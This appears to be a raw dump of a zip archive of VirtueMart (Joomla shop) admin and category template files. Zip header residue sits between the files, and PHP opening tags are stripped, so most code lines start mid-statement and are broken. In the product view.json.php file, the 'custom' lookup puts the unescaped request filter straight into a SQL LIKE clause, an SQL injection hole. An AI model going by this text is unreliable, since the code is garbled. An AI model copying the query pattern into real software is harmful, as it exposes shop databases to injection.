      category->category_name; ?>

      perRow; $Browsecellwidth = ' width' . floor (100 / $BrowseProducts_per_row); // Separator $verticalseparator = " vertical-separator"; $BrowseTotalProducts = count($this->products); // Start the Output foreach ($this->products as $product) { // Show the horizontal seperator if ($iBrowseCol == 1 && $iBrowseProduct > $BrowseProducts_per_row) { ?>
      images[0]->displayMediaThumb('class="browseProductImage"', false); ?> showRating) { $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); if (empty($product->rating)) { ?> rating * 12; //I don't use round as percetntage with works perfect, as for me ?> rating) . '/' . $maxrating; ?>
      rating) . '/' . $maxrating) ?>" class="category-ratingbox" style="display:inline-block;">

      link, $product->product_name); ?>

      product_s_desc)) { ?>

      product_s_desc, 40, '...') ?>

      show_prices == '1') { if ($product->prices['salesPrice']<=0 and VmConfig::get ('askprice', 1) and !$product->images[0]->file_is_downloadable) { echo JText::_ ('COM_VIRTUEMART_PRODUCT_ASKPRICE'); } //todo add config settings if ($this->showBasePrice) { echo $this->currency->createPriceDiv ('basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $product->prices); echo $this->currency->createPriceDiv ('basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $product->prices); } echo $this->currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round($product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo '
      ' . $this->currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . "
      "; } if (round($product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo $this->currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } echo $this->currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); if ($product->prices['discountedPriceWithoutTax'] != $product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv ('discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); } else { echo $this->currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); } echo $this->currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); echo $this->currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); echo $this->currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } ?>

      link, JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS'), array('title' => $product->product_name, 'class' => 'product-details')); ?>

      products as $product ) // Do we need a final closing row tag? if ($iBrowseCol != 1) { ?>
      vmPagination->getPagesLinks (); ?>vmPagination->getPagesCounter (); ?>
      keyword)) { echo JText::_ ('COM_VIRTUEMART_NO_RESULT') . ($this->keyword ? ' : (' . $this->keyword . ')' : ''); } ?>
      PKs>\O8com_virtuemart/views/category/tmpl/edit_categoryform.phpnuW+AlangList ?> perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
      category->category_name); ?> category->published); ?> category->slug); ?> category->category_description); ?>
      parent->virtuemart_category_id, 'ordering', '', 'ordering', 'category_name', $this->category->ordering) ); ?> '.$this->categorylist.' '; echo VmHTML::row('raw','COM_VIRTUEMART_CATEGORY_ORDERING', $categorylist ); ?> category->products_per_row); ?> category->limit_list_step); ?> category->limit_list_initial); ?> jTemplateList ,$this->category->category_template,'','directory', 'name',false) ; ?> categoryLayouts ,$this->category->category_layout,'','value', 'text',false) ; ?> productLayouts ,$this->category->category_product_layout,'','value', 'text',false) ; ?>
      category); ?>
      PKs>\#o,,-com_virtuemart/views/category/tmpl/index.htmlnuW+APKs>\)&com_virtuemart/views/product/.htaccessnuW+A Order allow,deny Deny from all PKs>\+.%G*com_virtuemart/views/product/view.json.phpnuW+Atype = JRequest::getWord('type', false); $this->row = JRequest::getInt('row', false); $this->db = JFactory::getDBO(); $this->model = VmModel::getModel('Customfields') ; } function display($tpl = null) { $filter = JRequest::getVar('q', JRequest::getVar('term', false) ); $id = JRequest::getInt('id', false); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $product_id = (int)$virtuemart_product_id[0]; } else { $product_id = (int)$virtuemart_product_id; } //$customfield = $this->model->getcustomfield(); /* Get the task */ if ($this->type=='relatedproducts') { $query = "SELECT virtuemart_product_id AS id, CONCAT(product_name, '::', product_sku) AS value FROM #__virtuemart_products_".VMLANG." JOIN `#__virtuemart_products` AS p using (`virtuemart_product_id`)"; if ($filter) $query .= " WHERE product_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' or product_sku LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; self::setRelatedHtml($query,'R'); } else if ($this->type=='relatedcategories') { $query = "SELECT virtuemart_category_id AS id, CONCAT(category_name, '::', virtuemart_category_id) AS value FROM #__virtuemart_categories_".VMLANG; if ($filter) $query .= " WHERE category_name LIKE '%". $this->db->getEscaped( $filter, true ) ."%' limit 0,10"; self::setRelatedHtml($query,'Z'); } else if ($this->type=='custom') { $query = "SELECT CONCAT(virtuemart_custom_id, '|', custom_value, '|', field_type) AS id, CONCAT(custom_title, '::', custom_tip) AS value FROM #__virtuemart_customs"; if ($filter) $query .= " WHERE custom_title LIKE '%".$filter."%' limit 0,50"; $this->db->setQuery($query); $this->json['value'] = $this->db->loadObjectList(); $this->json['ok'] = 1 ; } else if ($this->type=='fields') { $fieldTypes= $this->model->getField_types() ; $query = 'SELECT *,`custom_value` as value FROM `#__virtuemart_customs` WHERE (`virtuemart_custom_id`='.$id.' or `custom_parent_id`='.$id.' ) '; $query .= 'order by `ordering` asc'; $this->db->setQuery($query); $rows = $this->db->loadObjectlist(); $html = array (); foreach ($rows as $field) { if ($field->field_type =='C' ){ $this->json['table'] = 'childs'; $q='SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`=1 AND `product_parent_id`= '.JRequest::getInt('virtuemart_product_id'); //$this->db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->db->setQuery($q); if ($childIds = $this->db->loadResultArray()) { // Get childs foreach ($childIds as $childId) { $field->custom_value = $childId; $display = $this->model->displayProductCustomfieldBE($field,$childId,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = '
      '.$field->custom_title.' '.$display.$field->custom_tip.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).'
      '; $this->row++; } } } elseif ($field->field_type =='E') { $this->json['table'] = 'customPlugins'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) { $cartIcone= 'default'; } else { $cartIcone= 'default-off'; } $html[] = ' '.$field->custom_title.' '.$display.' '.$this->model->setEditCustomHidden($field, $this->row).'

      '.JTEXT::_('COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT').'

      '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').' '; $this->row++; } else { $this->json['table'] = 'fields'; $display = $this->model->displayProductCustomfieldBE($field,$product_id,$this->row); if ($field->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; $html[] = ' '.$field->custom_title.' '.$display.' '.JText::_($fieldTypes[$field->field_type]).' '.$this->model->setEditCustomHidden($field, $this->row).' '; $this->row++; } } $this->json['value'] = $html; $this->json['ok'] = 1 ; } else if ($this->type=='userlist') { $status = JRequest::getvar('status'); $productShoppers=0; if ($status) { $productModel = VmModel::getModel('product'); $productShoppers = $productModel->getProductShoppersByStatus($product_id ,$status); } if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $html = ShopFunctions::renderProductShopperList($productShoppers); $this->json['value'] = $html; } else $this->json['ok'] = 0 ; if ( empty($this->json)) { $this->json['value'] = null; $this->json['ok'] = 1 ; } echo json_encode($this->json); } function setRelatedHtml($query,$fieldType) { $this->db->setQuery($query); $this->json = $this->db->loadObjectList(); $query = 'SELECT * FROM `#__virtuemart_customs` WHERE field_type ="'.$fieldType.'" '; $this->db->setQuery($query); $customs = $this->db->loadObject(); foreach ($this->json as &$related) { $customs->custom_value = $related->id; $display = $this->model->displayProductCustomfieldBE($customs,$related->id,$this->row); $html = '
      '.$display.' '.$this->model->setEditCustomHidden($customs, $this->row).'
      '; $related->label = $html; } } } // pure php no closing tag PKs>\Aj΂9com_virtuemart/views/product/tmpl/product_edit_images.phpnuW+A
      product->images[0]->virtuemart_media_id)) $this->product->images[0]->addHidden('file_is_product_image','1'); if (!empty($this->product->virtuemart_media_id)) echo $this->product->images[0]->displayFilesHandler($this->product->virtuemart_media_id,'product'); else echo $this->product->images[0]->displayFilesHandler(null,'product'); ?>
      '.JText::_('COM_VIRTUEMART_RTB_AD').'
      '; $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $imgUrl = 'http://www.removethebackground.de//images/logoremove.png'; if(strpos($tag,'de')!==FALSE){ $url = 'http://www.removethebackground.de/virtuemart.aspx'; } else if(strpos($tag,'fr')!==FALSE){ $url = 'http://www.removethebackground.fr/virtuemart.aspx'; } else { $url = 'http://www.removethebackground.co.uk/virtuemart.aspx'; } echo ''; ?>
      PKs>\`G9com_virtuemart/views/product/tmpl/product_edit_status.phpnuW+A
      waitinglist) && count($this->waitinglist) > 0) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=sentproductemailtoshoppers&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); }*/ ?>
      product->product_available_date, 'product_available_date'); ?>
      product->product_availability, " ", $this->imagePath); ?> <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
      loadTemplate('customer'); ?>
      PKs>\,com_virtuemart/views/product/tmpl/index.htmlnuW+APKs>\{E2com_virtuemart/views/product/tmpl/product_edit.phpnuW+Aeditor = JFactory::getEditor(); ?>
      product->virtuemart_product_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
      addScriptDeclaration( 'jQuery(window).load(function(){ jQuery.ajaxSetup({ cache: false }); })'); ?> PKs>\rhu,,;com_virtuemart/views/product/tmpl/product_edit_customer.phpnuW+A
      JText::_ ('COM_VIRTUEMART_PRODUCT_SHOPPERS'), 'notify' => JText::_ ('COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST'), ); $mail_default = 'notify'; if (VmConfig::get ('stockhandle', 0) != 'disableadd' or empty($this->waitinglist)) { echo ''; } else { echo VmHtml::radioList ('customer_email_type', $mail_default, $mail_options); } ?>




      lists['OrderStatus'];?>

      product->product_name)); ?>
      productShoppers); ?>
      waitinglist)) { ?>
      waitinglist) && count ($this->waitinglist) > 0) { $i=0; foreach ($this->waitinglist as $key => $wait) { if ($wait->virtuemart_user_id == 0) { $row = ''; } else { $row = ''; } echo $row; $i = 1 - $i; } } else { ?>
      ' . $wait->notify_email . '
      ' . $wait->name . '' . $wait->username . '' . '' . $wait->notify_email . '' . '
      '; echo JText::sprintf('COM_VIRTUEMART_AD_ACY',$aflink); ?>
      PKs>\kW]u.com_virtuemart/views/product/tmpl/massxref.phpnuW+Atask=='massxref_cats' or $this->task=='massxref_cats_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'category'.DS.'tmpl'.DS.'default.php'); } if($this->task=='massxref_sgrps' or $this->task=='massxref_sgrps_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'shoppergroup'.DS.'tmpl'.DS.'default.php'); }PKs>\ G =com_virtuemart/views/product/tmpl/product_edit_dimensions.phpnuW+A
      lists['product_lwh_uom'];?>
      lists['product_weight_uom'];?>
        lists['product_iso_uom'];?>
       
      PKs>\KL>com_virtuemart/views/product/tmpl/product_edit_description.phpnuW+A
      editor->display('product_desc', $this->product->product_desc, '100%;', '450', '75', '20', array('pagebreak', 'readmore') ) ; ?>
      product); ?>
      PKs>\)+com_virtuemart/views/product/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ %n+n+-com_virtuemart/views/product/tmpl/default.phpnuW+A'); $search_type = JRequest::getVar('search_type', 'product'); // OSP in view.html.php $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', false); if ($product_parent_id=JRequest::getInt('product_parent_id', false)) $col_product_name='COM_VIRTUEMART_PRODUCT_CHILDREN_LIST'; else $col_product_name='COM_VIRTUEMART_PRODUCT_NAME'; ?>
      productlist ?> lists['filter_order_Dir'], $this->lists['filter_order'] ); ?> */ ?> virtuemart_category_id ) { ?> productlist) ) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->productlist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id,null,'virtuemart_product_id'); $published = JHTML::_('grid.published', $product, $i ); $is_featured = $this->toggle($product->product_special, $i, 'toggle.product_special'); $link = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$product->virtuemart_product_id; ?> virtuemart_product_id.'&option=com_virtuemart'); ?> virtuemart_category_id ) { ?> virtuemart_product_id; ?>
      sort('product_name',$col_product_name) ?> sort('product_parent_id','COM_VIRTUEMART_PRODUCT_CHILDREN_OF'); ?> sort('product_sku') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_PRICE_TITLE') ; ?> sort('pc.ordering', 'COM_VIRTUEMART_FIELDMANAGER_REORDER'); ?> productlist); //vmCommonHTML::getSaveOrderButton( $num_rows, 'changeordering' ); ?> sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_S') ; ?> sort('product_special', 'COM_VIRTUEMART_PRODUCT_FORM_SPECIAL'); ?> sort('published') ; ?> sort('p.virtuemart_product_id', 'COM_VIRTUEMART_ID') ?>
      product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_parent_id ) { VirtuemartViewProduct::displayLinkToParent($product->product_parent_id); } ?> virtuemart_product_id , $product->product_name); ?> $mediaLimit = (int)VmConfig::get('mediaLimit',20); if($this->pagination->limit<=$mediaLimit or $total<=$mediaLimit){ // Product list should be ordered $this->model->addImages($product,1); $img = '('.$product->mediaitems.')'.$product->images[0]->displayMediaThumb('class="vm_mini_image"',false ); //echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); } else { //echo JHTML::_('link', $link, ' ('.$product->mediaitems.')', array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name) ); $img = ' ('.$product->mediaitems.')'; } echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); ?> product_sku; ?> product_price_display)) { echo $product->product_price_display; } elseif(!empty($product->prices)) { echo JText::_('COM_VIRTUEMART_MULTIPLE_PRICES'); } else { echo JText::_('COM_VIRTUEMART_NO_PRICE_SET'); } ?> virtuemart_category_id.'&option=com_virtuemart'), $product->category_name); echo $product->categoriesList; ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $product->ordering ); ?> pagination->orderDownIcon( $i, $total , true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $product->ordering ); ?> ordering ); ?> virtuemart_manufacturer_id) { echo JHTML::_('link', JRoute::_('index.php?view=manufacturer&task=edit&virtuemart_manufacturer_id[]='.$product->virtuemart_manufacturer_id.'&option=com_virtuemart'), $product->mf_name); } ?> reviews); ?> virtuemart_product_id; // echo $product->vendor_name; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      virtuemart_category_id ) { ?> PKs>\"FF>com_virtuemart/views/product/tmpl/product_edit_information.phpnuW+A
      langList; ?>
      product->virtuemart_product_id ?> lists['manufacturers'])) { ?> '; }?> product->ordering)) { $this->product->ordering = 0; ?>
      lists['manufacturers'];?> productLayouts, 'layout', 'size=1', 'value', 'text', $this->product->layout); ?>
      shoppergroupList; ?> lists['vendors'];?> '; }?>
      activeShoppergroups); ?> product; if (empty($this->product->prices)) { $this->product->prices[] = array(); } $this->i = 0; $rowColor = 0; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $currency_model = VmModel::getModel ('currency'); $currencies = $currency_model->getCurrencies (); $nbPrice = count ($this->product->prices); $this->priceCounter = 0; $this->product->prices[$nbPrice] = $this->product_empty_price; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); ?> product->prices); foreach ($this->product->prices as $sPrices) { if(count($sPrices) == 0) continue; if (empty($sPrices['virtuemart_product_price_id'])) { $sPrices['virtuemart_product_price_id'] = ''; } //vmdebug('my $sPrices ',$sPrices); $sPrices = (array)$sPrices; $this->tempProduct = (object)array_merge ((array)$this->product, $sPrices); $this->calculatedPrices = $calculator->getProductPrices ($this->tempProduct); if((string)$sPrices['product_price']==='0' or (string)$sPrices['product_price']===''){ $this->calculatedPrices['costPrice'] = ''; } $currency_model = VmModel::getModel ('currency'); $this->lists['currencies'] = JHTML::_ ('select.genericlist', $currencies, 'mprices[product_currency][' . $this->priceCounter . ']', '', 'virtuemart_currency_id', 'currency_name', $this->tempProduct->product_currency); $DBTax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING') ; foreach ($calculator->rules['DBTax'] as $rule) { $DBTax .= $rule['calc_name'] . '
      '; } $this->DBTaxRules = $DBTax; $tax = ''; //vmText::_('COM_VIRTUEMART_TAX_EFFECTING').'
      '; foreach ($calculator->rules['Tax'] as $rule) { $tax .= $rule['calc_name'] . '
      '; } foreach ($calculator->rules['VatTax'] as $rule) { $tax .= $rule['calc_name'] . '
      '; } $this->taxRules = $tax; $DATax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING'); foreach ($calculator->rules['DATax'] as $rule) { $DATax .= $rule['calc_name'] . '
      '; } $this->DATaxRules = $DATax; if (!isset($this->tempProduct->product_tax_id)) { $this->tempProduct->product_tax_id = 0; } $this->lists['taxrates'] = ShopFunctions::renderTaxList ($this->tempProduct->product_tax_id, 'mprices[product_tax_id][' . $this->priceCounter . ']'); if (!isset($this->tempProduct->product_discount_id)) { $this->tempProduct->product_discount_id = 0; } $this->lists['discounts'] = $this->renderDiscountList ($this->tempProduct->product_discount_id, 'mprices[product_discount_id][' . $this->priceCounter . ']'); $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList ($this->tempProduct->virtuemart_shoppergroup_id, false, 'mprices[virtuemart_shoppergroup_id][' . $this->priceCounter . ']'); if ($this->priceCounter == $nbPrice) { $tmpl = "productPriceRowTmpl"; } else { $tmpl = "productPriceRowTmpl_" . $this->priceCounter; } ?> priceCounter++; } ?>
      */ ?> loadTemplate ('price'); ?>
      product->virtuemart_product_id) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=createVariant&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); $add_child_button=""; } else { $link=""; $add_child_button=" not-active"; } ?> product->product_parent_id) { $result = vmText::_('COM_VIRTUEMART_EDIT').' ' . $this->product_parent->product_name; echo ' | '.JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$this->product->product_parent_id), $this->product_parent->product_name, array('title' => $result)).' | '.$this->parentRelation; } ?>
      product_childs)>0 ) { $customs = array(); if(!empty($this->product->customfields)){ foreach($this->product->customfields as $custom){ //vmdebug('my custom',$custom); if($custom->field_type=='A'){ $customs[] = $custom; } } } // vmdebug('ma $customs',$customs); ?> product_childs as $child ) { $i = 1 - $i; ?> custom_value; if(isset($child->$attrib)){ $childAttrib = $child->$attrib; } else { //vmdebug('unset? use Fallback product_name instead $attrib '.$attrib,$child); $childAttrib = $child->product_name; } ?>
      custom_value)))?> foo
      virtuemart_product_id), $child->slug, array('title' => vmText::_('COM_VIRTUEMART_EDIT').' '.$child->product_name)) ?> product_in_stock ?> product_ordered ?> virtuemart_product_id.'][published]', $child->published) ?>
      PKs>\$**9com_virtuemart/views/product/tmpl/product_edit_custom.phpnuW+Aproduct->customfields_fromParent)) { ?> '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .''; /*$tables['fields'] .= ' ';*/ } else { $tables['fields'] .= ''; } $i++; } } $emptyTable = ' '; ?>
      '.$this->customsList; ?>
      '','products'=>'','fields'=>'','customPlugins'=>'',); if (isset($this->product->customfields)) { foreach ($this->product->customfields as $customfield) { if ($customfield->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; if ($customfield->field_type == 'Z') { // R: related categories $tables['categories'] .= '
      '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
      '; } elseif ($customfield->field_type == 'R') { // R: related products $tables['products'] .= '
      '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
      '; } elseif ($customfield->field_type == 'G') { // no display (group of) child , handled by plugin; } elseif ($customfield->field_type == 'E'){ $tables['fields'] .= '
      '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').'
      '.JText::_($customfield->custom_title).' '.$customfield->display.$customfield->custom_tip.''. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i).' .'
      '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_($this->fieldTypes[$customfield->field_type]). VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
      '.JText::_( 'COM_VIRTUEMART_CUSTOM_NO_TYPES').'
      PKs>\H!!8com_virtuemart/views/product/tmpl/product_edit_price.phpnuW+A
      */ ?>
      */ ?>
      lists['currencies']; ?> lists['shoppergroups']; ?>
        vendor_currency; ?> lists['taxrates']; ?>
      ' . $this->taxRules ?>
      vendor_currency; ?> lists['discounts']; ?>
      DBTaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
      ' . $this->DBTaxRules . '
      '; } if (!empty($this->DATaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
      ' . $this->DATaxRules; } // vmdebug('my rules',$this->DBTaxRules,$this->DATaxRules); echo JText::_('COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING').$this->DBTaxRules; ?>
      tempProduct->product_price_publish_up, 'mprices[product_price_publish_up][]'); ?> tempProduct->product_price_publish_down, 'mprices[product_price_publish_down][]'); ?>
      vendor_currency; ?>
      JText::_ ('JNO'), 1 => JText::_ ('JYES')); // echo VmHtml::radioList ('mprices[use_desired_price][' . $this->priceCounter . ']', $this->tempProduct->override, $options); echo '' ?>
      product->override); $options = array(0 => JText::_ ('COM_VIRTUEMART_OVERWRITE_OFF'), 1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_FINAL'), -1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_PRICE_TAX')); echo VmHtml::radioList ('mprices[override][' . $this->priceCounter . ']', $this->tempProduct->override, $options,'',' '); ?>

      PKs>\'com_virtuemart/views/product/index.htmlnuW+APKs>\׻LQQ*com_virtuemart/views/product/view.html.phpnuW+AgetLayout()); vmdebug('VirtuemartViewProduct '.$task); $this->assignRef('task', $task); // Load helpers if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $model = VmModel::getModel(); // Handle any publish/unpublish switch ($task) { case 'add': case 'edit': //this was in the controller for the edit tasks, we need this for the access by FE $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.DS.'views'.DS.'product'.DS.'tmpl'); VmConfig::loadJLang('com_virtuemart_orders',TRUE); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id', array()); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $product = $model->getProductSingle($virtuemart_product_id,false); //$product_parent= $model->getProductParent($product->product_parent_id); $product_parent= $model->getProductSingle($product->product_parent_id,false); $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown($product->virtuemart_manufacturer_id); $this->assignRef('manufacturers', $manufacturers); // Get the category tree if (isset($product->categories)) $category_tree = ShopFunctions::categoryListTree($product->categories); else $category_tree = ShopFunctions::categoryListTree(); $this->assignRef('category_tree', $category_tree); //Fallback for categories inherited by parent to correctly calculate the prices if(empty($product->categories) and !empty($product_parent->categories)){ $product->categories = $product_parent->categories; } //Get the shoppergoup list - Cleanshooter Custom Shopper Visibility if (isset($product->shoppergroups)) $shoppergroupList = ShopFunctions::renderShopperGroupList($product->shoppergroups); $this->assignRef('shoppergroupList', $shoppergroupList); // Load the product price if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $product_childIds = $model->getProductChildIds($virtuemart_product_id); $product_childs = array(); foreach($product_childIds as $id){ $product_childs[] = $model->getProductSingle($id,false); } $this->assignRef('product_childs', $product_childs); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); // Load Images $model->addImages($product); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); // Load the vendors $vendor_model = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors'] = Shopfunctions::renderVendorList($product->virtuemart_vendor_id); } // Load the currencies $currency_model = VmModel::getModel('currency'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $vendor_model->setId(Permissions::getInstance()->isSuperVendor()); $vendor = $vendor_model->getVendor(); if(empty($product->product_currency)){ $product->product_currency = $vendor->vendor_currency; } //$currencies = JHTML::_('select.genericlist', $currency_model->getCurrencies(), 'product_currency', '', 'virtuemart_currency_id', 'currency_name', $product->product_currency); $currency = $currency_model->getCurrency($product->product_currency); $this->assignRef('product_currency', $currency->currency_symbol); $currency = $currency_model->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currency->currency_symbol); if(count($manufacturers)>0 ){ $lists['manufacturers'] = JHTML::_('select.genericlist', $manufacturers, 'virtuemart_manufacturer_id', 'class="inputbox"', 'value', 'text', $product->virtuemart_manufacturer_id ); } if(!empty($product->product_weight_uom)){ // or !$task=='add' $product_weight_uom = $product->product_weight_uom; $product_unit = $product->product_unit; $product_lwh_uom = $product->product_lwh_uom; } else if(!empty($product_parent)){ $product_weight_uom = $product_parent->product_weight_uom; $product_unit = $product_parent->product_unit; $product_lwh_uom = $product_parent->product_lwh_uom; } else { $product_weight_uom = VmConfig::get('weight_unit_default'); $product_unit = VmConfig::get('weight_unit_default'); $product_lwh_uom= VmConfig::get('lwh_unit_default'); } $lists['product_weight_uom'] = ShopFunctions::renderWeightUnitList('product_weight_uom',$product_weight_uom); $lists['product_iso_uom'] = ShopFunctions::renderUnitIsoList('product_unit',$product_unit); $lists['product_lwh_uom'] = ShopFunctions::renderLWHUnitList('product_lwh_uom', $product_lwh_uom); if( empty( $product->product_available_date )) { $product->product_available_date = date("Y-m-d") ; } $waitinglistmodel = VmModel::getModel('waitinglist'); /* Load waiting list */ if ($product->virtuemart_product_id) { //$waitinglist = $this->get('waitingusers', 'waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($product->virtuemart_product_id); $this->assignRef('waitinglist', $waitinglist); } $productShoppers = $model->getProductShoppersByStatus($product->virtuemart_product_id,array('S') ); $this->assignRef('productShoppers', $productShoppers); $orderstatusModel = VmModel::getModel('orderstatus'); $lists['OrderStatus'] = $orderstatusModel->renderOSList(array(),'order_status',TRUE); $field_model = VmModel::getModel('customfields'); $fieldTypes = $field_model->getField_types(); $this->assignRef('fieldTypes', $fieldTypes); // Add the virtuemart_shoppergroup_ids $cid = JFactory::getUser()->id; $this->activeShoppergroups = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_vmuser_shoppergroups','virtuemart_user_id',$cid,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','category', 4, 0); if(!$this->activeShoppergroups or (is_array($this->activeShoppergroups) and count($this->activeShoppergroups)==0)){ //vmdebug('$this->activeShoppergroups',$this->activeShoppergroups); $shoppergroupModel = VmModel::getModel('shoppergroup'); $this->activeShoppergroups = 